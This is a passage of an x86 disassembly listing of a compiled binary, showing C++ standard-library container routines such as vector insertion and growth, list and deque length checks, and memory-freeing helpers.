		push	ecx
		push	ebx
		push	esi
		mov	esi, eax
		push	edi
		mov	edi, [esi+4]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_405DF1
		mov	eax, [esi+8]
		mov	ecx, eax
		sub	ecx, edi
		sar	ecx, 2
		jz	short loc_405DF1
		cmp	edi, eax
		jbe	short loc_405DDA
		call	sub_40DCFC


loc_405DDA:				; CODE XREF: sub_405DB3+20j
		cmp	[ebp+arg_8], ebx
		jz	short loc_405DE4
		cmp	[ebp+arg_8], esi
		jz	short loc_405DE9


loc_405DE4:				; CODE XREF: sub_405DB3+2Aj
		call	sub_40DCFC


loc_405DE9:				; CODE XREF: sub_405DB3+2Fj
		mov	ebx, [ebp+arg_C]
		sub	ebx, edi
		sar	ebx, 2


loc_405DF1:				; CODE XREF: sub_405DB3+10j
					; sub_405DB3+1Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	ecx, esi
		call	sub_406422
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_405E0E
		call	sub_40DCFC


loc_405E0E:				; CODE XREF: sub_405DB3+54j
		mov	[ebp+arg_C], edi
		lea	edi, [edi+ebx*4]
		cmp	edi, [esi+8]
		ja	short loc_405E1E
		cmp	edi, [esi+4]
		jnb	short loc_405E23


loc_405E1E:				; CODE XREF: sub_405DB3+64j
		call	sub_40DCFC


loc_405E23:				; CODE XREF: sub_405DB3+69j
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edi
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_405DB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E32	proc near		; CODE XREF: sub_406253+93p
					; sub_406253+104p ...

arg_0		= dword	ptr  4

		test	edx, edx
		mov	ecx, edx
		mov	eax, esi
		jbe	short loc_405E4C
		push	edi


loc_405E3B:				; CODE XREF: sub_405E32+17j
		mov	edi, [esp+4+arg_0]
		mov	edi, [edi]
		mov	[eax], edi
		dec	ecx
		add	eax, 4
		test	ecx, ecx
		ja	short loc_405E3B
		pop	edi


loc_405E4C:				; CODE XREF: sub_405E32+6j
		lea	eax, [esi+edx*4]
		retn	4
sub_405E32	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E52	proc near		; CODE XREF: sub_4053F0+78p
					; sub_405472:loc_405487p ...
		and	dword ptr [edi], 0
		test	esi, esi
		jz	short loc_405E82
		test	ebx, ebx
		jz	short loc_405E82
		mov	edx, [esi+18h]
		cmp	edx, 10h
		lea	eax, [esi+4]
		jb	short loc_405E6C
		mov	ecx, [eax]
		jmp	short loc_405E6E
; ---------------------------------------------------------------------------


loc_405E6C:				; CODE XREF: sub_405E52+14j
		mov	ecx, eax


loc_405E6E:				; CODE XREF: sub_405E52+18j
		cmp	ecx, ebx
		ja	short loc_405E82
		cmp	edx, 10h
		jb	short loc_405E79
		mov	eax, [eax]


loc_405E79:				; CODE XREF: sub_405E52+23j
		mov	ecx, [esi+14h]
		add	ecx, eax
		cmp	ebx, ecx
		jbe	short loc_405E87


loc_405E82:				; CODE XREF: sub_405E52+5j
					; sub_405E52+9j ...
		call	sub_40DCFC


loc_405E87:				; CODE XREF: sub_405E52+2Ej
		mov	[edi], esi
		mov	[edi+4], ebx
		mov	eax, edi
		retn
sub_405E52	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E8F	proc near		; CODE XREF: sub_4053F0+40p
					; sub_4053F0+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jnz	short loc_405E9C
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_405E9C:				; CODE XREF: sub_405E8F+7j
		mov	eax, [esp+4+arg_0]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_405EB4
		test	eax, eax
		jz	short loc_405EAF
		cmp	eax, [esp+4+arg_8]
		jz	short loc_405EB4


loc_405EAF:				; CODE XREF: sub_405E8F+18j
		call	sub_40DCFC


loc_405EB4:				; CODE XREF: sub_405E8F+14j
					; sub_405E8F+1Ej
		sub	esi, [esp+4+arg_C]
		mov	eax, esi
		pop	esi
		retn
sub_405E8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_405EBC	proc near		; CODE XREF: sub_405A06+Dp
					; sub_406CEA+1Dp
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		mov	eax, [ecx+8]
		sub	esp, 48h
		push	esi
		mov	esi, 4924924h
		sub	esi, eax
		cmp	esi, edx
		jnb	short loc_405F0A
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-2Ch]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_401869
		push	offset dword_41FEF8
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_41C2A8
		call	sub_4107BC


loc_405F0A:				; CODE XREF: sub_405EBC+1Aj
		add	eax, edx
		mov	[ecx+8], eax
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	esi
		leave
		retn
sub_405EBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F1C	proc near		; CODE XREF: sub_405A66+12p
					; sub_40A246+8Cp

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	ecx, ecx
		ja	short loc_405F34
		xor	ecx, ecx


loc_405F28:				; CODE XREF: sub_405F1C+22j
		imul	ecx, 1Ch
		push	ecx
		call	sub_40DE68
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405F34:				; CODE XREF: sub_405F1C+8j
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 1Ch
		jnb	short loc_405F28
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40D873
		push	offset dword_41FEA0
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_405F1C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405F66	proc near		; CODE XREF: sub_405989+2Ep
					; .vty:loc_405AD1j ...
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_405F7E
		push	dword ptr [esi+8]
		call	sub_406737
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_405F7E:				; CODE XREF: sub_405F66+5j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		retn
sub_405F66	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F8B	proc near		; CODE XREF: sub_405989+27p
					; .vty:loc_405AD6j ...
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_405FA3
		push	dword ptr [esi+8]
		call	sub_4067F1
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_405FA3:				; CODE XREF: sub_405F8B+5j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		retn
sub_405F8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_405FB0	proc near		; CODE XREF: sub_405ADB+40p
		mov	eax, offset loc_41B5C1
		call	sub_41AE44
		sub	esp, 88h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		lea	eax, [ebp-90h]
		mov	[ebp-10h], esp
		push	eax
		call	sub_4065C8
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	ecx, [esi+4]
		cmp	ecx, ebx
		jz	short loc_405FEE
		mov	eax, [esi+0Ch]
		sub	eax, ecx
		push	74h
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, eax


loc_405FEE:				; CODE XREF: sub_405FB0+2Fj
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jz	loc_4061ED
		mov	eax, esi
		call	sub_4058AA
		mov	ecx, 234F72Ch
		sub	ecx, eax
		cmp	ecx, edi
		jnb	short loc_406010
		call	sub_40684D


loc_406010:				; CODE XREF: sub_405FB0+59j
		mov	eax, esi
		call	sub_4058AA
		add	eax, edi
		cmp	ebx, eax
		jnb	loc_40610D
		mov	eax, ebx
		shr	eax, 1
		mov	ecx, 234F72Ch
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_406034
		xor	ebx, ebx
		jmp	short loc_406036
; ---------------------------------------------------------------------------


loc_406034:				; CODE XREF: sub_405FB0+7Ej
		add	ebx, eax


loc_406036:				; CODE XREF: sub_405FB0+82j
		mov	eax, esi
		call	sub_4058AA
		add	eax, edi
		cmp	ebx, eax
		jnb	short loc_40604E
		mov	eax, esi
		call	sub_4058AA
		mov	ebx, eax
		add	ebx, edi


loc_40604E:				; CODE XREF: sub_405FB0+91j
		mov	ecx, ebx
		call	sub_406209
		push	eax
		push	dword ptr [ebp+14h]
		mov	byte ptr [ebp-4], 1
		mov	ecx, [esi+4]
		mov	[ebp-14h], eax
		mov	[ebp+0Ch], eax
		call	sub_406B60
		lea	ecx, [ebp-90h]
		push	ecx
		push	edi
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_40681C
		mov	ecx, [ebp+14h]
		push	eax
		push	dword ptr [esi+8]
		mov	[ebp+0Ch], eax
		call	sub_406B60
		mov	eax, esi
		call	sub_4058AA
		add	edi, eax
		mov	eax, [esi+4]
		test	eax, eax
		mov	[ebp+0Ch], edi
		jz	short loc_4060CB
		mov	ecx, [esi+8]
		cmp	eax, ecx
		mov	[ebp+14h], ecx
		mov	[ebp+8], eax
		jz	short loc_4060C2


loc_4060AB:				; CODE XREF: sub_405FB0+10Dj
		mov	edi, [ebp+8]
		call	sub_405989
		add	dword ptr [ebp+8], 74h
		mov	eax, [ebp+8]
		cmp	eax, [ebp+14h]
		jnz	short loc_4060AB
		mov	edi, [ebp+0Ch]


loc_4060C2:				; CODE XREF: sub_405FB0+F9j
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_4060CB:				; CODE XREF: sub_405FB0+ECj
		mov	eax, [ebp-14h]
		imul	ebx, 74h
		imul	edi, 74h
		add	ebx, eax
		add	edi, eax
		mov	[esi+0Ch], ebx
		mov	[esi+8], edi
		mov	[esi+4], eax
		jmp	loc_4061ED
; ---------------------------------------------------------------------------


loc_4060E6:				; DATA XREF: .vty:0042131Co
		mov	esi, [ebp-14h]
		cmp	esi, [ebp+0Ch]
		mov	edi, esi
		jz	short loc_4060FD


loc_4060F0:				; CODE XREF: sub_405FB0+14Bj
		call	sub_405989
		add	edi, 74h
		cmp	edi, [ebp+0Ch]
		jnz	short loc_4060F0


loc_4060FD:				; CODE XREF: sub_405FB0+13Ej
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_406104:				; CODE XREF: sub_405FB0+1F7j
		push	0
		push	0
		call	sub_4107BC


loc_40610D:				; CODE XREF: sub_405FB0+6Bj
		mov	eax, [esi+8]
		mov	ebx, [ebp+14h]
		mov	[ebp-14h], eax
		sub	eax, ebx
		push	74h
		cdq
		pop	ecx
		idiv	ecx
		cmp	eax, edi
		jnb	loc_4061AC
		mov	eax, edi
		imul	eax, 74h
		mov	[ebp-18h], eax
		add	eax, ebx
		push	eax
		push	dword ptr [ebp-14h]
		mov	ecx, ebx
		call	sub_406B60
		mov	byte ptr [ebp-4], 3
		mov	eax, [esi+8]
		lea	ecx, [ebp-90h]
		push	ecx
		sub	eax, ebx
		push	74h
		pop	ecx
		cdq
		idiv	ecx
		sub	edi, eax
		push	edi
		push	dword ptr [esi+8]
		call	sub_40681C
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp-18h]
		add	[esi+8], eax
		mov	esi, [esi+8]
		sub	esi, eax
		mov	edi, esi
		jmp	short loc_40617F
; ---------------------------------------------------------------------------


loc_40616F:				; CODE XREF: sub_405FB0+1D1j
		lea	eax, [ebp-90h]
		mov	esi, ebx
		call	sub_406C9C
		add	ebx, 74h


loc_40617F:				; CODE XREF: sub_405FB0+1BDj
		cmp	ebx, edi
		jnz	short loc_40616F
		jmp	short loc_4061ED
; ---------------------------------------------------------------------------


loc_406185:				; DATA XREF: .vty:0042132Co
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp+8]
		imul	eax, 74h
		mov	esi, [ecx+8]
		mov	ecx, [ebp+14h]
		add	esi, eax
		lea	edi, [eax+ecx]
		jmp	short loc_4061A3
; ---------------------------------------------------------------------------


loc_40619B:				; CODE XREF: sub_405FB0+1F5j
		call	sub_405989
		add	edi, 74h


loc_4061A3:				; CODE XREF: sub_405FB0+1E9j
		cmp	edi, esi
		jnz	short loc_40619B
		jmp	loc_406104
; ---------------------------------------------------------------------------


loc_4061AC:				; CODE XREF: sub_405FB0+170j
		push	dword ptr [ebp-14h]
		imul	edi, 74h
		mov	ecx, [ebp-14h]
		push	dword ptr [ebp-14h]
		sub	ecx, edi
		mov	[ebp+0Ch], ecx
		call	sub_406B60
		push	dword ptr [ebp-14h]
		mov	[esi+8], eax
		mov	eax, [ebp+0Ch]
		push	ebx
		call	sub_406B84
		add	edi, ebx
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		mov	esi, ebx
		jz	short loc_4061ED


loc_4061DB:				; CODE XREF: sub_405FB0+23Bj
		lea	eax, [ebp-90h]
		call	sub_406C9C
		add	esi, 74h
		cmp	esi, edi
		jnz	short loc_4061DB


loc_4061ED:				; CODE XREF: sub_405FB0+43j
					; sub_405FB0+131j ...
		lea	edi, [ebp-90h]
		call	sub_405989
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	10h
sub_405FB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406209	proc near		; CODE XREF: sub_405FB0+A0p

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	ecx, ecx
		ja	short loc_406221
		xor	ecx, ecx


loc_406215:				; CODE XREF: sub_406209+22j
		imul	ecx, 74h
		push	ecx
		call	sub_40DE68
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_406221:				; CODE XREF: sub_406209+8j
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 74h
		jnb	short loc_406215
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40D873
		push	offset dword_41FEA0
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_406209	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406253	proc near		; CODE XREF: sub_405BDD+46p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [eax]
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_4], eax
		mov	eax, [edi+4]
		test	eax, eax
		jnz	short loc_40626E
		xor	ebx, ebx
		jmp	short loc_406276
; ---------------------------------------------------------------------------


loc_40626E:				; CODE XREF: sub_406253+15j
		mov	ebx, [edi+0Ch]
		sub	ebx, eax
		sar	ebx, 2


loc_406276:				; CODE XREF: sub_406253+19j
		mov	eax, edi
		call	sub_4058DF
		mov	esi, 3FFFFFFFh
		mov	ecx, esi
		sub	ecx, eax
		cmp	ecx, 1
		jnb	short loc_406290
		call	sub_40684D


loc_406290:				; CODE XREF: sub_406253+36j
		mov	eax, edi
		call	sub_4058DF
		inc	eax
		cmp	ebx, eax
		jnb	loc_406327
		mov	eax, ebx
		shr	eax, 1
		sub	esi, eax
		cmp	esi, ebx
		jnb	short loc_4062AE
		xor	ebx, ebx
		jmp	short loc_4062B0
; ---------------------------------------------------------------------------


loc_4062AE:				; CODE XREF: sub_406253+55j
		add	ebx, eax


loc_4062B0:				; CODE XREF: sub_406253+59j
		mov	eax, edi
		call	sub_4058DF
		inc	eax
		cmp	ebx, eax
		jnb	short loc_4062C6
		mov	eax, edi
		call	sub_4058DF
		mov	ebx, eax
		inc	ebx


loc_4062C6:				; CODE XREF: sub_406253+67j
		mov	ecx, ebx
		call	sub_40688D
		push	dword ptr [edi+4]
		mov	ecx, eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		call	sub_406BCA
		lea	ecx, [ebp+var_4]
		xor	edx, edx
		push	ecx
		inc	edx
		mov	esi, eax
		call	sub_405E32
		push	[ebp+arg_4]
		mov	ecx, eax
		mov	eax, [edi+8]
		call	sub_406BCA
		mov	eax, edi
		call	sub_4058DF
		mov	esi, eax
		mov	eax, [edi+4]
		inc	esi
		test	eax, eax
		jz	short loc_406310
		push	eax
		call	sub_40DD8A
		pop	ecx


loc_406310:				; CODE XREF: sub_406253+B4j
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+ebx*4]
		mov	[edi+0Ch], ecx
		lea	ecx, [eax+esi*4]
		mov	[edi+8], ecx
		mov	[edi+4], eax
		jmp	loc_4063BB
; ---------------------------------------------------------------------------


loc_406327:				; CODE XREF: sub_406253+47j
		mov	esi, [edi+8]
		mov	ebx, [ebp+arg_4]
		mov	eax, esi
		sub	eax, ebx
		sar	eax, 2
		cmp	eax, 1
		jnb	short loc_40637A
		lea	ecx, [ebx+4]
		push	ebx
		mov	eax, esi
		call	sub_406BCA
		mov	esi, [edi+8]
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, esi
		xor	edx, edx
		sub	eax, ebx
		sar	eax, 2
		inc	edx
		sub	edx, eax
		call	sub_405E32
		add	dword ptr [edi+8], 4
		mov	edi, [edi+8]
		lea	eax, [edi-4]
		cmp	ebx, eax
		mov	ecx, ebx
		jz	short loc_4063BB


loc_40636C:				; CODE XREF: sub_406253+123j
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		add	ecx, 4
		cmp	ecx, eax
		jnz	short loc_40636C
		jmp	short loc_4063BB
; ---------------------------------------------------------------------------


loc_40637A:				; CODE XREF: sub_406253+E4j
		lea	eax, [esi-4]
		mov	[ebp+arg_4], eax
		push	eax
		mov	ecx, esi
		mov	eax, esi
		call	sub_406BCA
		mov	[edi+8], eax
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		sar	eax, 2
		test	eax, eax
		jle	short loc_4063AA
		shl	eax, 2
		push	eax
		push	ebx
		push	eax
		sub	esi, eax
		push	esi
		call	sub_40D807
		add	esp, 10h


loc_4063AA:				; CODE XREF: sub_406253+144j
		lea	eax, [ebx+4]
		jmp	short loc_4063B7
; ---------------------------------------------------------------------------


loc_4063AF:				; CODE XREF: sub_406253+166j
		mov	ecx, [ebp+var_4]
		mov	[ebx], ecx
		add	ebx, 4


loc_4063B7:				; CODE XREF: sub_406253+15Aj
		cmp	ebx, eax
		jnz	short loc_4063AF


loc_4063BB:				; CODE XREF: sub_406253+CFj
					; sub_406253+117j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_406253	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C5B


loc_4063C2:				; CODE XREF: sub_405C5B+1Ej
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		sub	esp, 4Ch
		push	offset aDequeTTooLong ;	"deque<T> too long"
		lea	ecx, [ebp+var_2C]
		call	sub_401C44
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_2C]
		push	eax
		lea	ecx, [ebp+var_54]
		call	sub_401869
		push	offset dword_41FEF8
		lea	eax, [ebp+var_54]
		push	eax
		mov	[ebp+var_54], offset off_41C2A8
		call	sub_4107BC
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_405C5B

; =============== S U B	R O U T	I N E =======================================



sub_406402	proc near		; CODE XREF: sub_401B38+56p
					; sub_401B38+62p ...
		cmp	dword ptr [esi], 0
		jnz	short loc_40640C
		call	sub_40DCFC


loc_40640C:				; CODE XREF: sub_406402+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_40641B
		call	sub_40DCFC


loc_40641B:				; CODE XREF: sub_406402+12j
		mov	eax, [esi+4]
		add	eax, 8
		retn
sub_406402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406422	proc near		; CODE XREF: sub_405DB3+49p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [eax]
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, [edi+4]
		test	ecx, ecx
		mov	[ebp+var_8], eax
		jnz	short loc_40643E
		and	[ebp+var_4], ecx
		jmp	short loc_406449
; ---------------------------------------------------------------------------


loc_40643E:				; CODE XREF: sub_406422+15j
		mov	eax, [edi+0Ch]
		sub	eax, ecx
		sar	eax, 2
		mov	[ebp+var_4], eax


loc_406449:				; CODE XREF: sub_406422+1Aj
		test	ecx, ecx
		jnz	short loc_406451
		xor	eax, eax
		jmp	short loc_406459
; ---------------------------------------------------------------------------


loc_406451:				; CODE XREF: sub_406422+29j
		mov	eax, [edi+8]
		sub	eax, ecx
		sar	eax, 2


loc_406459:				; CODE XREF: sub_406422+2Dj
		mov	edx, 3FFFFFFFh
		mov	esi, edx
		sub	esi, eax
		cmp	esi, 1
		jnb	short loc_40646C
		call	sub_40684D


loc_40646C:				; CODE XREF: sub_406422+43j
		test	ecx, ecx
		jnz	short loc_406474
		xor	eax, eax
		jmp	short loc_40647C
; ---------------------------------------------------------------------------


loc_406474:				; CODE XREF: sub_406422+4Cj
		mov	eax, [edi+8]
		sub	eax, ecx
		sar	eax, 2


loc_40647C:				; CODE XREF: sub_406422+50j
		inc	eax
		cmp	[ebp+var_4], eax
		jnb	loc_40652D
		mov	eax, [ebp+var_4]
		shr	eax, 1
		sub	edx, eax
		cmp	edx, [ebp+var_4]
		jnb	short loc_406498
		and	[ebp+var_4], 0
		jmp	short loc_40649B
; ---------------------------------------------------------------------------


loc_406498:				; CODE XREF: sub_406422+6Ej
		add	[ebp+var_4], eax


loc_40649B:				; CODE XREF: sub_406422+74j
		test	ecx, ecx
		jnz	short loc_4064A3
		xor	eax, eax
		jmp	short loc_4064AB
; ---------------------------------------------------------------------------


loc_4064A3:				; CODE XREF: sub_406422+7Bj
		mov	eax, [edi+8]
		sub	eax, ecx
		sar	eax, 2


loc_4064AB:				; CODE XREF: sub_406422+7Fj
		inc	eax
		cmp	[ebp+var_4], eax
		jnb	short loc_4064C5
		test	ecx, ecx
		jnz	short loc_4064B9
		xor	eax, eax
		jmp	short loc_4064C1
; ---------------------------------------------------------------------------


loc_4064B9:				; CODE XREF: sub_406422+91j
		mov	eax, [edi+8]
		sub	eax, ecx
		sar	eax, 2


loc_4064C1:				; CODE XREF: sub_406422+95j
		inc	eax
		mov	[ebp+var_4], eax


loc_4064C5:				; CODE XREF: sub_406422+8Dj
		mov	ecx, [ebp+var_4]
		call	sub_40688D
		push	dword ptr [edi+4]
		mov	ebx, eax
		mov	eax, [ebp+arg_4]
		mov	ecx, ebx
		call	sub_406BCA
		lea	ecx, [ebp+var_8]
		xor	edx, edx
		push	ecx
		inc	edx
		mov	esi, eax
		call	sub_405E32
		push	[ebp+arg_4]
		mov	ecx, eax
		mov	eax, [edi+8]
		call	sub_406BCA
		mov	eax, [edi+4]
		test	eax, eax
		jnz	short loc_406502
		xor	esi, esi
		jmp	short loc_40650A
; ---------------------------------------------------------------------------


loc_406502:				; CODE XREF: sub_406422+DAj
		mov	esi, [edi+8]
		sub	esi, eax
		sar	esi, 2


loc_40650A:				; CODE XREF: sub_406422+DEj
		test	eax, eax
		jz	short loc_406515
		push	eax
		call	sub_40DD8A
		pop	ecx


loc_406515:				; CODE XREF: sub_406422+EAj
		mov	eax, [ebp+var_4]
		lea	eax, [ebx+eax*4]
		mov	[edi+0Ch], eax
		lea	eax, [ebx+esi*4+4]
		mov	[edi+8], eax
		mov	[edi+4], ebx
		jmp	loc_4065C1
; ---------------------------------------------------------------------------


loc_40652D:				; CODE XREF: sub_406422+5Ej
		mov	esi, [edi+8]
		mov	ebx, [ebp+arg_4]
		mov	eax, esi
		sub	eax, ebx
		sar	eax, 2
		cmp	eax, 1
		jnb	short loc_406580
		lea	ecx, [ebx+4]
		push	ebx
		mov	eax, esi
		call	sub_406BCA
		mov	esi, [edi+8]
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, esi
		xor	edx, edx
		sub	eax, ebx
		sar	eax, 2
		inc	edx
		sub	edx, eax
		call	sub_405E32
		add	dword ptr [edi+8], 4
		mov	edi, [edi+8]
		lea	eax, [edi-4]
		cmp	ebx, eax
		mov	ecx, ebx
		jz	short loc_4065C1


loc_406572:				; CODE XREF: sub_406422+15Aj
		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		add	ecx, 4
		cmp	ecx, eax
		jnz	short loc_406572
		jmp	short loc_4065C1
; ---------------------------------------------------------------------------


loc_406580:				; CODE XREF: sub_406422+11Bj
		lea	eax, [esi-4]
		mov	[ebp+arg_4], eax
		push	eax
		mov	ecx, esi
		mov	eax, esi
		call	sub_406BCA
		mov	[edi+8], eax
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		sar	eax, 2
		test	eax, eax
		jle	short loc_4065B0
		shl	eax, 2
		push	eax
		push	ebx
		push	eax
		sub	esi, eax
		push	esi
		call	sub_40D807
		add	esp, 10h


loc_4065B0:				; CODE XREF: sub_406422+17Bj
		lea	eax, [ebx+4]
		jmp	short loc_4065BD
; ---------------------------------------------------------------------------


loc_4065B5:				; CODE XREF: sub_406422+19Dj
		mov	ecx, [ebp+var_8]
		mov	[ebx], ecx
		add	ebx, 4


loc_4065BD:				; CODE XREF: sub_406422+191j
		cmp	ebx, eax
		jnz	short loc_4065B5


loc_4065C1:				; CODE XREF: sub_406422+106j
					; sub_406422+14Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_406422	endp


; =============== S U B	R O U T	I N E =======================================



sub_4065C8	proc near		; CODE XREF: sub_405FB0+20p
					; sub_406F12+17p
		mov	eax, offset loc_41B24E
		call	sub_41AE44
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	esi
		mov	edi, ecx
		call	sub_406694
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+10h]
		lea	ecx, [edi+10h]
		push	eax
		call	sub_40674E
		lea	eax, [edi+20h]
		push	eax
		lea	ecx, [esi+20h]
		mov	byte ptr [ebp-4], 1
		call	sub_401C1E
		lea	eax, [edi+3Ch]
		push	eax
		lea	ecx, [esi+3Ch]
		mov	byte ptr [ebp-4], 2
		call	sub_401C1E
		add	edi, 58h
		push	edi
		lea	ecx, [esi+58h]
		mov	byte ptr [ebp-4], 3
		call	sub_401C1E
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	4
sub_4065C8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406631	proc near		; CODE XREF: sub_407454+A8p

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		lea	esi, [ebp+arg_8]
		mov	[ebp+var_8], eax
		call	sub_405D8F
		mov	esi, [ebp+arg_0]
		cmp	ebx, [esi+4]
		jz	short loc_406680
		mov	eax, [ebx+4]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	eax, [ebx]
		mov	ecx, [ebx+4]
		push	edi
		lea	edi, [ebx+24h]
		mov	[eax+4], ecx
		call	sub_406C09
		push	0
		push	1
		lea	ecx, [ebx+8]
		call	sub_4013C4
		push	ebx
		call	sub_40DD8A
		dec	dword ptr [esi+8]
		pop	ecx
		pop	edi


loc_406680:				; CODE XREF: sub_406631+1Ej
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		mov	ecx, [ebp+arg_C]
		pop	esi
		mov	[eax+4], ecx
		pop	ebx
		leave
		retn	10h
sub_406631	endp


; =============== S U B	R O U T	I N E =======================================



sub_406694	proc near		; CODE XREF: sub_4065C8+12p
		mov	eax, offset loc_41AFFD
		call	sub_41AE44
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		mov	ebx, ecx
		push	edi
		mov	eax, ebx
		mov	[ebp-10h], esp
		call	sub_40690A
		xor	ecx, ecx
		cmp	eax, ecx
		mov	[esi+4], ecx
		mov	[esi+8], ecx
		mov	[esi+0Ch], ecx
		jz	short loc_406712
		mov	edi, esi
		call	sub_406920
		test	al, al
		jz	short loc_406712
		and	dword ptr [ebp-4], 0
		mov	eax, [ebx+8]
		cmp	[ebx+4], eax
		mov	[ebp-18h], eax
		jbe	short loc_4066E1
		call	sub_40DCFC


loc_4066E1:				; CODE XREF: sub_406694+46j
		mov	eax, [ebx+4]
		cmp	eax, [ebx+8]
		mov	[ebp-1Ch], eax
		jbe	short loc_4066F1
		call	sub_40DCFC


loc_4066F1:				; CODE XREF: sub_406694+56j
		mov	ecx, [esi+4]
		xor	eax, eax
		lea	edi, [ebp-14h]
		stosb
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp+8]
		push	ecx
